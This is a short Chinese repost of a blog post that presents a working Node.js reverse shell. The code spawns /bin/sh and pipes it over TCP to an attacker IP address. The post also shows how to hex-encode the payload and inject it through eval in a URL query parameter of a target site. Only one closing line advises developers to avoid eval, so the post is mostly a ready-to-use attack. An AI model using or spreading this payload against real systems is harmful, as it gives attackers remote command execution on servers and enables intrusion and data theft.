JavaScript反向shell

Posted ssooking

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JavaScript反向shell相关的知识,希望对你有一定的参考价值。

Node.js反向Shell

摘自:http://www.itfang.net/?p=109

如下的javascript就是一个Node.js的反向连接shell。

这个payload将会生成一个/bin/sh的shell,创建一个TCP连接到攻击者的服务器,并且在通信数据流中绑定shell命令。

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8080, "10.17.26.64", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

为了优雅的执行payload,我们还需要一些小技巧,我们将反向连接shell的payload用16进制进行编码,然后再用Node.js的Buffer对象来对其进行解码操作。

http://target.tld/?name=["./;eval(new Buffer(‘PAYLOAD‘, ‘hex‘).toString());//*"]

我们强烈的建议开发者们避免在JavaScript项目中使用eval函数,而修复的方法也很简单,直接使用RegExp对象来对数据进行操作即可。

以上是关于JavaScript反向shell的主要内容,如果未能解决你的问题,请参考以下文章

Node.js 反向 Shell

Eclipse 中的通用代码片段或模板

Windows正向绑定shell和反向反弹shell的Python代码

代码片段:Shell脚本实现重复执行和多进程

如何使用片段反向移植?

VSCode自定义代码片段12——JavaScript的Promise对象